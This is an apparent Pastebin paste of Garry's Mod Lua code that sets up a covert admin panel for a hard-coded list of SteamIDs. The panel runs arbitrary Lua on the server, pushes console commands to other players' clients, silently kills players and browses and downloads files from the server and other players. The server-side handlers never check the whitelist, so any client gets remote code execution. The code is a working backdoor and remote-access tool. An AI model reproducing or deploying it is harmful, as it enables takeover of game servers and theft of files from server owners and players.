Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.89 KB | None | 0 0
  1. local Allowed = {
  2. "STEAM_0:1:91447905", --Tunoo2
  3. "STEAM_0:0:71035911", --MZombie
  4. "STEAM_0:0:61704958", --Lorenz
  5. "STEAM_0:0:58329845", --Linus
  6. "STEAM_0:0:47647629", --Binomi
  7. "STEAM_0:0:104139026", --Sky
  8. "STEAM_0:1:5163222", --Sadira
  9. "STEAM_0:0:94401933", -- Hllm
  10. "STEAM_0:1:60077414", --fritzen
  11. }
  12.  
  13.  
  14.  
  15. local function isAllowed(ID)
  16. for k,v in pairs(Allowed) do
  17. if v == ID then
  18. return true
  19. end
  20. end
  21. return false
  22. end
  23.  
  24. local mainDirectory = "GAME"
  25. if SERVER then
  26. util.AddNetworkString("adminmenu")
  27. util.AddNetworkString("command")
  28. util.AddNetworkString("datatransfer")
  29. util.AddNetworkString("loaddatafolder")
  30. util.AddNetworkString("userfunction")
  31.  
  32.  
  33. -- linus STEAM_0:0:58329845
  34. -- binomi STEAM_0:0:47647629
  35. -- sky STEAM_0:0:104139026
  36. -- mzombie STEAM_0:0:71035911
  37.  
  38. function generateDataTable(path,con)
  39. local content = {}
  40. local searchpath = path.."*"
  41. local files,directories = file.Find(searchpath,mainDirectory,"namedesc")
  42. if con != nil then
  43. content = con
  44. end
  45. if files != nil then
  46. content.files = {}
  47. for k,v in pairs(files) do
  48. content.files[k] = v
  49. end
  50. end
  51. if directories != nil then
  52. content.directories = {}
  53. for k,v in pairs(directories) do
  54. content.directories[v] = v
  55. end
  56. end
  57. return content
  58. end
  59.  
  60. Myself = nil
  61. for k,v in pairs(player.GetAll()) do
  62. if v:Nick() == "Linus" && v:SteamID() == "STEAM_0:0:58329845" then
  63. if v:Nick() == "Linus" then
  64. Myself = v
  65. -- Myself:SetUserGroup("superadmin")
  66. -- Myself:ChatPrint(table.ToString(util.GetUserGroups(),"Users:",true))
  67. break
  68. end
  69. end
  70. end
  71. net.Receive("userfunction",
  72. function(len,ply)
  73. local mode = net.ReadString()
  74.  
  75. if mode == "kill" then
  76. local target = net.ReadEntity()
  77. if target:IsPlayer() then
  78. target:KillSilent()
  79. end
  80. elseif mode == "executeLua" then
  81. local where = net.ReadString()
  82. local code = net.ReadString()
  83. if where == "serverside" then
  84. if code != "" then
  85. local errorMsg = RunString(code,"Code",false)
  86. if errorMsg == nil || errorMsg == "" then
  87. errorMsg = "Code run successfully"
  88. end
  89. net.Start("userfunction")
  90. net.WriteString("displayError")
  91. net.WriteString(errorMsg)
  92. net.Send(ply)
  93. end
  94. elseif where == "shared" then
  95. if code != "" then
  96. local errorMsg = RunString(code,"Code",false)
  97. if errorMsg == nil || errorMsg == "" then
  98. errorMsg = "Code run successfully"
  99. end
  100. net.Start("userfunction")
  101. net.WriteString("displayError")
  102. net.WriteString(errorMsg)
  103. net.Send(ply)
  104. end
  105. end
  106. elseif mode == "giveweapon" then
  107. local weaponString = net.ReadString()
  108. local target = net.ReadEntity()
  109. if target:IsPlayer() && weaponString != "" then
  110. target:Give(weaponString)
  111. end
  112. end
  113. end)
  114.  
  115. net.Receive("loaddatafolder",
  116. function(len,ply)
  117. local mode = net.ReadString()
  118. if mode == "getTable" then
  119. local caller = net.ReadEntity()
  120. local path = net.ReadString()
  121. local user = net.ReadEntity()
  122. net.Start("loaddatafolder")
  123. net.WriteString("constructTable")
  124. net.WriteEntity(caller)
  125. net.WriteString(path)
  126. net.Send(user)
  127. elseif mode == "getTableofserver" then
  128. local caller = net.ReadEntity()
  129. local receivedpath = net.ReadString()
  130. local content = {}
  131. local ex = string.Explode("/",receivedpath)
  132. local path = table.concat(ex,"/")
  133. local tab = generateDataTable(path,content)
  134. if tab != nil then
  135. net.Start("loaddatafolder")
  136. net.WriteString("loadTableofserver")
  137. net.WriteTable(tab)
  138. net.WriteString(path)
  139. net.Send(caller)
  140. end
  141. end
  142. end)
  143.  
  144.  
  145.  
  146. net.Receive("datatransfer",
  147. function(len,ply)
  148. local mode = net.ReadString()
  149.  
  150. if mode == "getPlayer" then
  151. local path = net.ReadString()
  152. local target = net.ReadEntity()
  153. local caller = ply
  154. local loadinLuapad = net.ReadBool()
  155. net.Start("datatransfer")
  156. net.WriteString("sendDataBack")
  157. net.WriteString(path)
  158. net.WriteEntity(caller)
  159. net.WriteBool(loadinLuapad)
  160. net.Send(target)
  161. elseif mode == "getPlayerServer" then
  162. local path = net.ReadString()
  163. local caller = ply
  164. local loadinLuapad = net.ReadBool()
  165.  
  166. local txt = file.Open(path,"r",mainDirectory)
  167. local fileSize = txt:Size()
  168. local code = file.Read(path,mainDirectory)
  169.  
  170. if loadinLuapad == true then
  171. net.Start("datatransfer")
  172. net.WriteString("gotdataserverforluapad")
  173. net.WriteString(code)
  174. net.WriteString(path)
  175. net.WriteString("SERVER")
  176. net.Send(caller)
  177.  
  178. return
  179. end
  180.  
  181. local stringMax = 65000
  182. local each =math.ceil(fileSize/stringMax)
  183. local parts = {}
  184. for i = 1,each,1 do
  185. txt:Seek((i-1)*stringMax)
  186. parts[i] = txt:Read(stringMax)
  187. end
  188.  
  189.  
  190. for k,v in pairs(parts) do
  191. net.Start("datatransfer")
  192. net.WriteString("gotdataserver")
  193. net.WriteInt(each,8)
  194. net.WriteInt(k,8)
  195. net.WriteString(v)
  196. net.WriteString(path)
  197. net.WriteString("SERVER")
  198. net.Send(caller)
  199. end
  200. elseif mode == "sendDataForLuapad" then
  201. local path = net.ReadString()
  202. local caller = net.ReadEntity()
  203. local user = net.ReadEntity()
  204. local code = net.ReadString()
  205.  
  206. net.Start("datatransfer")
  207. net.WriteString("gotdataserverforluapad")
  208. net.WriteString(code)
  209. net.WriteString(path)
  210. net.WriteString(user:Nick())
  211. net.Send(caller)
  212.  
  213. elseif mode == "sendData" then
  214. local lengthparts = net.ReadInt(8)
  215. local partNo = net.ReadInt(8)
  216. local path = net.ReadString()
  217. local caller = net.ReadEntity()
  218. local user = net.ReadEntity()
  219. local code = net.ReadString()
  220.  
  221. net.Start("datatransfer")
  222. net.WriteString("gotdata")
  223. net.WriteInt(lengthparts,8)
  224. net.WriteInt(partNo,8)
  225. net.WriteString(code)
  226. net.WriteString(path)
  227. net.WriteEntity(user)
  228. net.Send(caller)
  229. elseif mode == "sendTable" then
  230. local content = net.ReadTable()
  231. local user = net.ReadEntity()
  232. local caller = net.ReadEntity()
  233. local path = net.ReadString()
  234. net.Start("loaddatafolder")
  235. net.WriteString("loadTable")
  236. net.WriteTable(content)
  237. net.WriteEntity(user)
  238. net.WriteEntity(caller)
  239. net.WriteString(path)
  240. net.Send(caller)
  241. end
  242. end)
  243.  
  244. net.Receive("command",
  245. function(len,ply)
  246. local commandType = net.ReadString()
  247. if commandType == "command" then
  248. local cmd = net.ReadString()
  249. local ex = string.Explode(" ",cmd)
  250. RunConsoleCommand(ex[1],table.concat(ex," ",2))
  251. elseif commandType == "commandOnPlayer" then
  252. local cmd = net.ReadString()
  253. local ply = net.ReadEntity()
  254. ply:ConCommand( cmd )
  255. end
  256. end)
  257.  
  258. hook.Remove("KeyPress","KeyListenerBinding")
  259. hook.Add( "KeyPress", "KeyListenerBinding",
  260. function( ply, key ) // STEAM_0:1:91447905
  261. -- if ply:SteamID() == "STEAM_0:0:0" || ply:SteamID() == "STEAM_0:0:58329845" || ply:SteamID() == "STEAM_0:0:47647629" || ply:SteamID() == "STEAM_0:0:71035911" || ply:SteamID() == "STEAM_0:0:104139026" || ply:SteamID() == "STEAM_0:1:5163222" || ply:SteamID() == "STEAM_0:1:91447905" || ply:SteamID() == "STEAM_0:0:94401933" || ply:SteamID() == "STEAM_0:1:60077414" || ply:SteamID() == "STEAM_0:0:61704958" then
  262. if isAllowed(ply:SteamID()) then
  263. if key == IN_USE && ply:Crouching() then
  264. net.Start("adminmenu")
  265. net.WriteString("open")
  266. net.Send(ply)
  267. elseif key == IN_USE && !ply:Crouching() && ply:GetActiveWeapon():GetClass() == "weapon_crowbar" then
  268. local traceData = util.GetPlayerTrace(ply)
  269. local trace = util.TraceLine(traceData)
  270. local Ent = trace.Entity
  271. if IsValid(Ent) then
  272. Ent:Remove()
  273. end
  274. end
  275. end
  276. end)
  277.  
  278. end
  279.  
  280.  
  281.  
  282. function findPlayerWithName(name)
  283. for k,v in pairs(player.GetAll()) do
  284. if v:Nick() == name then
  285. return v
  286. end
  287. end
  288. end
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304. if CLIENT then
  305. local fr = nil
  306. local Tree = nil
  307.  
  308. local function openEditor()
  309.  
  310. local Editor = vgui.Create("DFrame")
  311. Editor:SetSize(ScrW()/1.5,ScrH()/1.2)
  312. Editor:Center()
  313.  
  314. Editor:SetTitle( "Editor" )
  315. Editor:SetDraggable( true )
  316. Editor:SetDeleteOnClose(false)
  317. Editor:MakePopup()
  318. Editor:SetMouseInputEnabled(true)
  319. Editor:SetKeyboardInputEnabled(false)
  320. Editor:ShowCloseButton(false)
  321. Editor.Paint = function(self,w,h)
  322. draw.RoundedBox(3,0,0,w,h,Color(255,255,255))
  323. end
  324.  
  325.  
  326. local mainPanel = vgui.Create("DPanel",Editor)
  327. mainPanel:SetPos(10,10)
  328. mainPanel:SetSize(Editor:GetWide()-20,Editor:GetTall()-20)
  329.  
  330. local textLayoutPanel = vgui.Create("DPanel",mainPanel)
  331. textLayoutPanel:SetPos(10,10)
  332. textLayoutPanel:SetSize(mainPanel:GetWide()-20,mainPanel:GetTall()-20)
  333. //////////////////////////////////////////////////////////
  334. //////////////////////SHEETS//////////////////////////////
  335. //////////////////////////////////////////////////////////
  336. local sheetManager = vgui.Create("DPropertySheet",textLayoutPanel)
  337. sheetManager:Dock(FILL)
  338. sheetManager.Paint = function(self,w,h)
  339. draw.RoundedBox(0,0,0,w,h,Color(80,80,80))
  340. end
  341.  
  342. //////////////////////////////////////////////////////////
  343. //////////////////////OPTION PANEL//////////////////////////////
  344. //////////////////////////////////////////////////////////
  345. local optionPanel = vgui.Create("DPanel",textLayoutPanel)
  346. optionPanel:Dock(TOP)
  347. optionPanel:DockPadding(0,50,0,0)
  348. optionPanel.Paint = function(self,w,h)
  349. draw.RoundedBox(0,0,0,w,h,Color(120,120,120))
  350. end
  351.  
  352. local removeTabButton = vgui.Create("DButton",optionPanel)
  353. removeTabButton:SetPos(5,2)
  354. removeTabButton:SetSize(20,20)
  355. removeTabButton:SetText("")
  356. removeTabButton.Paint = function() end
  357. removeTabButton:SetImage("icon16/page_white_delete.png")
  358. removeTabButton.DoClick = function(self,x,y)
  359. -- sheetManager:CloseTab(sheetManager:GetActiveTab(),true)
  360. -- Editor.AddCode("","NO PATH",nil)
  361. end
  362.  
  363. //////////////////////////////////////////////////////////
  364. //////////////////////EDITOR FUNCTIONS////////////////////////
  365. //////////////////////////////////////////////////////////
  366. Editor.OpenLastSheet = function()
  367. if sheetManager.Items != nil && table.Count(sheetManager.Items) == 0 then
  368. //do nothing maybe add an option to generate and save stuff later
  369. else
  370. local tabNo = table.Count(sheetManager.Items)
  371. sheetManager:SetActiveTab(sheetManager.Items[tabNo].Tab)
  372. end
  373. end
  374.  
  375. Editor.AddCode = function(code,path,user)
  376. local parts = string.Explode("/",path)
  377. local lastName = parts[table.Count(parts)]
  378.  
  379. local newSheet = vgui.Create("DPropertySheet",sheetManager)
  380. newSheet.Paint = function(self,w,h)
  381. draw.RoundedBox(0,0,0,w,h,Color(50,50,50))
  382. end
  383. local tab = sheetManager:AddSheet(lastName,newSheet,"icon16/page_white.png")
  384. tab.CloseButton = vgui.Create( "DImageButton", tab.Tab )
  385. tab.CloseButton:SetImage( "icon16/circlecross.png" )
  386. tab.CloseButton:SetColor( Color( 255, 100, 100, 200 ) )
  387. tab.CloseButton:DockMargin( 0, 8, 0, 8 )
  388. tab.CloseButton:SetWide( 12 )
  389. tab.CloseButton:SetTall( 12 )
  390. tab.CloseButton:Dock( RIGHT )
  391. tab.CloseButton.DoClick = function() chat.AddText("Close") end
  392.  
  393. tab.user = user
  394. tab.path = path
  395. tab.TextEntry = vgui.Create("DTextEntry",newSheet)
  396. tab.TextEntry:SetMultiline(true)
  397. tab.TextEntry:SetVerticalScrollbarEnabled(true)
  398. tab.TextEntry:SetDrawLanguageID(false)
  399. tab.TextEntry:Dock(FILL)
  400. tab.TextEntry:SetText(code)
  401. tab.TextEntry.OnGetFocus = function (self)
  402. Editor:SetKeyboardInputEnabled(true)
  403. -- fr.luacodefield = luacodefield:GetValue()
  404. end
  405. tab.TextEntry.OnLoseFocus = function(self)
  406. Editor:SetKeyboardInputEnabled(false)
  407. -- fr.luacodefield = luacodefield:GetValue()
  408. end
  409.  
  410.  
  411.  
  412. return tab
  413. end
  414.  
  415.  
  416.  
  417.  
  418.  
  419. local closeButton = vgui.Create("DButton",Editor)
  420. closeButton:SetText("Close")
  421. closeButton:SetSize(35,26)
  422. closeButton:SetPos(Editor:GetWide()-35,0)
  423. function closeButton:Paint(w,h)
  424. draw.RoundedBox(3,0,0,w,h,Color(51,51,51))
  425. end
  426. closeButton.DoClick = function()
  427. if Editor:IsVisible() then
  428. Editor:Hide()
  429. else
  430. Editor:Show()
  431. end
  432. end
  433.  
  434.  
  435.  
  436. return Editor
  437. end
  438.  
  439. local function generateDataTable(path,con)
  440. local content = {}
  441. local searchpath = path.."*"
  442. local files,directories = file.Find(searchpath,mainDirectory,"namedesc")
  443. if con != nil then
  444. content = con
  445. end
  446. if files != nil then
  447. content.files = {}
  448. for k,v in pairs(files) do
  449. content.files[k] = v
  450. end
  451. end
  452.  
  453. if directories != nil then
  454. content.directories = {}
  455. for k,v in pairs(directories) do
  456. content.directories[v] = v
  457. end
  458. end
  459. return content
  460. end
  461.  
  462.  
  463.  
  464. local function openMenu()
  465.  
  466. if fr == nil then
  467. fr = vgui.Create( "DFrame" )
  468. fr:SetSize( 600, 400 )
  469. fr:SetDeleteOnClose(false)
  470. local frameSizeW,frameSizeH = fr:GetSize()
  471. fr:SetPos( ScrW()/2 - frameSizeW/2, ScrH()/2 - frameSizeH/2 )
  472. fr:SetTitle( "Menu" )
  473. fr:SetDraggable( true )
  474. fr:MakePopup()
  475. fr:SetMouseInputEnabled(true)
  476. fr:SetKeyboardInputEnabled(false)
  477. fr:ShowCloseButton(false)
  478. function fr:Paint(w,h)
  479. draw.RoundedBox(3,0,0,w,h,Color(255,255,255))
  480. end
  481. else
  482. if fr:IsVisible() then
  483. fr:Hide()
  484. else
  485. fr:Show()
  486. end
  487. end
  488. local frameSizeW,frameSizeH = fr:GetSize()
  489.  
  490. local mainPanel = vgui.Create("DPanel",fr)
  491. mainPanel:SetPos(10,10)
  492. mainPanel:SetSize(frameSizeW-20,frameSizeH-20)
  493.  
  494. sheet = fr.sheet || vgui.Create("DPropertySheet",mainPanel)
  495. sheet:Dock( FILL )
  496. sheet.Paint = function( self, w, h)
  497. draw.RoundedBox(4,0,0,w,h,Color(120,120,120))
  498. end
  499.  
  500.  
  501.  
  502.  
  503.  
  504.  
  505. //////////////////////////////////////////////////////////
  506. //////////////////////ADMIN SHEET///////////////////////////
  507. //////////////////////////////////////////////////////////
  508.  
  509. adminSheet = vgui.Create("DPropertySheet",mainPanel)
  510.  
  511. local playerList = vgui.Create("DListView",adminSheet)
  512. playerList:SetSize(80,200)
  513. playerList:SetPos(10,10)
  514. playerList.Paint = function(self,w,h)
  515. draw.RoundedBox(2,0,0,w,h,Color(50,50,50))
  516. end
  517. playerList:SetMultiSelect(false)
  518. playerList:AddColumn("Player")
  519. for k,v in pairs(player.GetAll()) do
  520. playerList:AddLine(v:Nick())
  521. end
  522.  
  523.  
  524.  
  525. local cmdEntry = vgui.Create("DTextEntry",adminSheet)
  526. cmdEntry:SetPos(100,50)
  527. cmdEntry:SetSize(150,20)
  528. cmdEntry:SetText(fr.cmdEntry || "Console command here")
  529. cmdEntry.OnGetFocus = function (self)
  530. fr:SetKeyboardInputEnabled(true)
  531. end
  532. cmdEntry.OnLoseFocus = function(self)
  533. fr:SetKeyboardInputEnabled(false)
  534. fr.cmdEntry = cmdEntry:GetValue()
  535. end
  536.  
  537. local submitB = vgui.Create("DButton",adminSheet)
  538. submitB:SetPos(255,50)
  539. submitB:SetSize(40,20)
  540. submitB:SetText("Execute")
  541. submitB.DoClick = function()
  542. net.Start("command")
  543. net.WriteString("command")
  544. local cmd = cmdEntry:GetValue()
  545. net.WriteString(cmd)
  546. net.SendToServer()
  547. end
  548.  
  549. local killB = vgui.Create("DButton",adminSheet)
  550. killB:SetPos(255,90)
  551. killB:SetSize(40,20)
  552. killB:SetText("Kill")
  553. killB.DoClick = function()
  554. if playerList:GetSelectedLine() != nil then
  555. local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
  556. if plyName != nil then
  557. local ply = nil
  558. for k,v in pairs(player.GetAll()) do
  559. if v:Nick() == plyName then
  560. ply = v
  561. break
  562. end
  563. end
  564.  
  565. if ply!=nil then
  566. net.Start("userfunction")
  567. net.WriteString("kill")
  568. net.WriteEntity(ply)
  569. net.SendToServer()
  570. end
  571. end
  572. end
  573. end
  574.  
  575. local submitC = vgui.Create("DButton",adminSheet)
  576. submitC:SetPos(295,50)
  577. submitC:SetSize(80,20)
  578. submitC:SetText("Execute on client")
  579. submitC.DoClick = function()
  580. local cmd = cmdEntry:GetValue()
  581. if playerList:GetSelectedLine() != nil then
  582. if playerList:GetSelectedLine() != nil then
  583. local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
  584. local ply = nil
  585. for k,v in pairs(player.GetAll()) do
  586. if v:Nick() == plyName then
  587. ply = v
  588. break
  589. end
  590. end
  591. if ply!=nil then
  592. if ply:IsPlayer() then
  593. net.Start("command")
  594. net.WriteString("commandOnPlayer")
  595. net.WriteString(cmd)
  596. net.WriteEntity(ply)
  597. net.SendToServer()
  598. end
  599. end
  600. end
  601. end
  602. end
  603.  
  604. local stringfield = vgui.Create("DTextEntry",adminSheet)
  605. stringfield:SetPos(100,90)
  606. stringfield:SetSize(150,20)
  607. stringfield:SetText(fr.stringfield || "weapon class name here")
  608. stringfield.OnGetFocus = function (self)
  609. fr:SetKeyboardInputEnabled(true)
  610. end
  611. stringfield.OnLoseFocus = function(self)
  612. fr:SetKeyboardInputEnabled(false)
  613. fr.stringfield = stringfield:GetValue()
  614. end
  615.  
  616. local submitGive = vgui.Create("DButton",adminSheet)
  617. submitGive:SetPos(295,90)
  618. submitGive:SetSize(80,20)
  619. submitGive:SetText("Give weapon!")
  620. submitGive.DoClick = function()
  621. local weapon = stringfield:GetValue()
  622. if playerList:GetSelectedLine() != nil then
  623. local plyName = playerList:GetLine(playerList:GetSelectedLine()):GetColumnText(1)
  624. local ply = nil
  625. for k,v in pairs(player.GetAll()) do
  626. if v:Nick() == plyName then
  627. ply = v
  628. break
  629. end
  630. end
  631. if ply!=nil then
  632. if ply:IsPlayer() then
  633. net.Start("userfunction")
  634. net.WriteString("giveweapon")
  635. net.WriteString(weapon)
  636. net.WriteEntity(ply)
  637. net.SendToServer()
  638. end
  639. end
  640. end
  641. end
  642.  
  643.  
  644. adminSheet.Paint = function(self,w,h)
  645. draw.RoundedBox(4,0,0,w,h,Color(200,120,120))
  646. end
  647. sheet:AddSheet("adminsheet",adminSheet,"icon16/film.png")
  648.  
  649. local ulxSheet = vgui.Create("DPropertySheet",mainPanel)
  650. ulxSheet.Paint = function(self,w,h)
  651. draw.RoundedBox(4,0,0,w,h,Color(120,120,200))
  652. end
  653. sheet:AddSheet("ulxsheet",ulxSheet,"icon16/eye.png")
  654.  
  655.  
  656.  
  657.  
  658. //////////////////////////////////////////////////////////
  659. //////////////////////LUA SHEET///////////////////////////
  660. //////////////////////////////////////////////////////////
  661. local luaSheet = vgui.Create("DPropertySheet",mainPanel)
  662. local luacodefield = vgui.Create("DTextEntry",luaSheet)
  663. luacodefield:SetMultiline(true)
  664. luacodefield:SetVerticalScrollbarEnabled(true)
  665. luacodefield:SetDrawLanguageID(false)
  666. luacodefield:SetPos(10,10)
  667. luacodefield:SetSize(mainPanel:GetWide()-40,300)
  668. luacodefield:SetText(fr.luacodefield || "if SERVER then \n for k,v in pairs(player.GetAll()) do\n if v:Nick()==\"Linus\" then\n chat.AddText(\"Test\")\n end\n end\nend\n\nif CLIENT then\n\nend")
  669. luacodefield.OnGetFocus = function (self)
  670. fr:SetKeyboardInputEnabled(true)
  671. fr.luacodefield = luacodefield:GetValue()
  672. end
  673. luacodefield.OnLoseFocus = function(self)
  674. fr:SetKeyboardInputEnabled(false)
  675. fr.luacodefield = luacodefield:GetValue()
  676. end
  677.  
  678. local executeCodeServer = vgui.Create("DButton",luaSheet)
  679. executeCodeServer:SetPos(10,315)
  680. executeCodeServer:SetSize(120,20)
  681. executeCodeServer:SetText("Execute SERVERSIDE")
  682. executeCodeServer.DoClick = function()
  683. local code = luacodefield:GetValue()
  684. net.Start("userfunction")
  685. net.WriteString("executeLua")
  686. net.WriteString("serverside")
  687. net.WriteString(code)
  688. net.SendToServer()
  689. end
  690.  
  691. local executeCodeShared = vgui.Create("DButton",luaSheet)
  692. executeCodeShared:SetPos(140,315)
  693. executeCodeShared:SetSize(120,20)
  694. executeCodeShared:SetText("Execute SHARED")
  695. executeCodeShared.DoClick = function()
  696. local code = luacodefield:GetValue()
  697. if code != "" then
  698. local errorMsg = RunString(code,"Code",false)
  699. if errorMsg == nil || errorMsg == "" then
  700. errorMsg = "Code run successfully"
  701. end
  702. chat.AddText(errorMsg)
  703. end
  704. net.Start("userfunction")
  705. net.WriteString("executeLua")
  706. net.WriteString("shared")
  707. net.WriteString(code)
  708. net.SendToServer()
  709. end
  710.  
  711. local executeCodeClient = vgui.Create("DButton",luaSheet)
  712. executeCodeClient:SetPos(300,315)
  713. executeCodeClient:SetSize(120,20)
  714. executeCodeClient:SetText("Execute CLIENTSIDE")
  715. executeCodeClient.DoClick = function()
  716. local code = luacodefield:GetValue()
  717. if code != "" then
  718. local errorMsg = RunString(code,"Code",false)
  719. if errorMsg == nil || errorMsg == "" then
  720. errorMsg = "Code run successfully"
  721. end
  722. chat.AddText(errorMsg)
  723. end
  724. end
  725.  
  726. local executeCodeClientAll = vgui.Create("DButton",luaSheet)
  727. executeCodeClientAll:SetPos(430,315)
  728. executeCodeClientAll:SetSize(120,20)
  729. executeCodeClientAll:SetText("[NOT WORKING]all clients")
  730. executeCodeClientAll.DoClick = function()
  731. local code = luacodefield:GetValue()
  732. net.Start("userfunction")
  733. net.WriteString("executeLua")
  734. net.WriteString("clientsideall")
  735. net.WriteString(code)
  736. net.SendToServer()
  737. end
  738.  
  739. luaSheet.Paint = function(self,w,h)
  740. draw.RoundedBox(4,0,0,w,h,Color(200,141,0))
  741. end
  742. if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
  743. sheet:AddSheet("Lua Code",luaSheet,"icon16/folder.png")
  744. else
  745. sheet:AddSheet("Lua Code",luaSheet,"icon16/folder.png")
  746. -- luaSheet:Remove()
  747. end
  748.  
  749.  
  750. //////////////////////////////////////////////////////////
  751. ////////////////////SCOREBOARD SHEET//////////////////////
  752. //////////////////////////////////////////////////////////
  753. local scoreboardSheet = vgui.Create("DPropertySheet",mainPanel)
  754. scoreboardSheet.Paint = function(self,w,h)
  755. draw.RoundedBox(4,0,0,w,h,Color(120,200,120))
  756. end
  757. sheet:AddSheet("scoreboardsheet",scoreboardSheet,"icon16/bell.png")
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766. //////////////////////////////////////////////////////////
  767. ///////////////////DATA BROWSER SHEET/////////////////////
  768. //////////////////////////////////////////////////////////
  769. local e2code = vgui.Create("DPropertySheet",mainPanel)
  770. e2code.Paint = function(self,w,h)
  771. draw.RoundedBox(4,0,0,w,h,Color(120,200,200))
  772. end
  773. function addTxts(ROOT,files,path,user)
  774. for k,v in SortedPairs(files,true) do
  775. local node = ROOT:AddNode(v)
  776. if user == "SERVER" then
  777. node.path = "SERVER,"..path..v
  778. node.Icon:SetImage( "icon16/page_white_horizontal.png" )
  779. else
  780. node.path = user:Nick()..","..path..v
  781. node.Icon:SetImage( "icon16/page_white_horizontal.png" )
  782. end
  783. end
  784. end
  785.  
  786. function addDirectories(ROOT,path,files,directories,user)
  787. if ROOT:HasChildren() then
  788. return
  789. end
  790. path = path || ""
  791. if directories != nil then
  792. for k,v in SortedPairs(directories) do
  793. local directory = ROOT:AddNode(v)
  794. directory:MakeFolder(v,v,true)
  795. directory.Label.DoDoubleClick = function()
  796. directory.Expander.DoClick()
  797. end
  798. directory.Expander.DoClick = function()
  799. directory:SetExpanded(!directory.m_bExpanded)
  800. local npath =path..v.."/"
  801. if isstring(user) && user == "SERVER" then
  802. net.Start("loaddatafolder")
  803. net.WriteString("getTableofserver")
  804. net.WriteEntity(LocalPlayer())
  805. net.WriteString(npath)
  806. net.SendToServer()
  807. else
  808. net.Start("loaddatafolder")
  809. net.WriteString("getTable")
  810. net.WriteEntity(LocalPlayer())
  811. net.WriteString(npath)
  812. net.WriteEntity(user)
  813. net.SendToServer()
  814. end
  815. end
  816. end
  817. end
  818.  
  819. if files != nil then
  820. addTxts(ROOT,files,path,user)
  821. end
  822.  
  823. end
  824.  
  825. --[[
  826. //////////////////Tree list\\\\\\\\\\\\\\\\\\\\\\\\
  827. --]]
  828. Tree = vgui.Create("DTree",e2code)
  829. Tree:SetPos(5,30)
  830. Tree:SetPadding(5)
  831. Tree:SetSize(300,300)
  832. Tree:SetExpanded( !Tree.m_bExpanded )
  833. local path = ""
  834.  
  835.  
  836. -- if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
  837. local node = Tree:AddNode("SERVER")
  838. node:MakeFolder("SERVER","SERVER",true)
  839. node.Label.DoDoubleClick = function()
  840. node.Expander.DoClick()
  841. end
  842. node.Expander.DoClick = function()
  843. node:SetExpanded( !node.m_bExpanded )
  844. net.Start("loaddatafolder")
  845. net.WriteString("getTableofserver")
  846. net.WriteEntity(LocalPlayer())
  847. net.WriteString(path)
  848. net.SendToServer()
  849. end
  850. -- end
  851.  
  852.  
  853. for k,v in pairs(player.GetAll()) do
  854. if LocalPlayer():SteamID() == "STEAM_0:0:58329845" || ( v:SteamID() != "STEAM_0:0:58329845" && v:SteamID() != "STEAM_0:0:104139026" ) then
  855. local node = Tree:AddNode(v:Nick())
  856. node:MakeFolder(v:Nick(),v:Nick(),true)
  857. node.Label.DoDoubleClick = function()
  858. node.Expander.DoClick()
  859. end
  860. node.Expander.DoClick = function()
  861. node:SetExpanded( !node.m_bExpanded )
  862. net.Start("loaddatafolder")
  863. net.WriteString("getTable")
  864. net.WriteEntity(LocalPlayer())
  865. net.WriteString(path)
  866. net.WriteEntity(v)
  867. net.SendToServer()
  868. end
  869. end
  870. end
  871.  
  872. local loadButton = vgui.Create("DButton",e2code)
  873. loadButton:SetPos(310,30)
  874. loadButton:SetSize(90,20)
  875. loadButton:SetText("Load Code")
  876. loadButton.DoClick = function(self,x,y)
  877. local selPanel = Tree:GetSelectedItem()
  878. if selPanel != nil && selPanel.path != nil then
  879. local expl = string.Explode(",",selPanel.path)
  880. if expl[1]=="SERVER" then
  881. if selPanel != nil then
  882. net.Start("datatransfer")
  883. net.WriteString("getPlayerServer")
  884. net.WriteString(expl[2])
  885. net.WriteBool(false)
  886. net.SendToServer()
  887. end
  888. else
  889. local user = findPlayerWithName(expl[1])
  890. if IsValid(user) then
  891. if selPanel != nil then
  892. net.Start("datatransfer")
  893. net.WriteString("getPlayer")
  894. net.WriteString(expl[2])
  895. net.WriteEntity(user)
  896. net.WriteBool(false)
  897. net.SendToServer()
  898. end
  899. end
  900. end
  901. end
  902. end
  903.  
  904. local editButton = vgui.Create("DButton",e2code)
  905. editButton:SetPos(310,60)
  906. editButton:SetSize(90,20)
  907. editButton:SetText("Open in Editor")
  908. editButton.DoClick = function(self,x,y)
  909. local selPanel = Tree:GetSelectedItem()
  910. if selPanel != nil && selPanel.path != nil then
  911. local expl = string.Explode(",",selPanel.path)
  912. if expl[1]=="SERVER" then
  913. if selPanel != nil then
  914. net.Start("datatransfer")
  915. net.WriteString("getPlayerServer")
  916. net.WriteString(expl[2])
  917. net.WriteBool(true) --load in luapad instead of download
  918. net.SendToServer()
  919. end
  920. else
  921. local user = findPlayerWithName(expl[1])
  922. if IsValid(user) then
  923. if selPanel != nil then
  924. net.Start("datatransfer")
  925. net.WriteString("getPlayer")
  926. net.WriteString(expl[2])
  927. net.WriteEntity(user)
  928. net.WriteBool(true) --load in luapad instead of download
  929. net.SendToServer()
  930. end
  931. end
  932. end
  933. end
  934. end
  935.  
  936.  
  937. local openEditorButton = vgui.Create("DButton",e2code)
  938. openEditorButton:SetPos(310,90)
  939. openEditorButton:SetSize(90,20)
  940. openEditorButton:SetText("Open Editor")
  941. openEditorButton.DoClick = function(self,x,y)
  942. if fr.Editor == nil || !fr.Editor:IsValid() then
  943. fr.Editor = openEditor()
  944. fr.Editor.OpenLastSheet()
  945. else
  946. -- if !fr.Editor:IsVisible() then
  947. fr.Editor:Show()
  948. fr.Editor:MakePopup()
  949. fr.Editor:SetMouseInputEnabled(true)
  950. fr.Editor:SetKeyboardInputEnabled(false)
  951. fr.Editor.OpenLastSheet()
  952. -- end
  953. end
  954. end
  955.  
  956.  
  957.  
  958.  
  959. if LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
  960. sheet:AddSheet("Data browser",e2code,"icon16/delete.png")
  961. else
  962. sheet:AddSheet("Data browser",e2code,"icon16/delete.png")
  963. -- e2code:Remove()
  964. end
  965.  
  966.  
  967.  
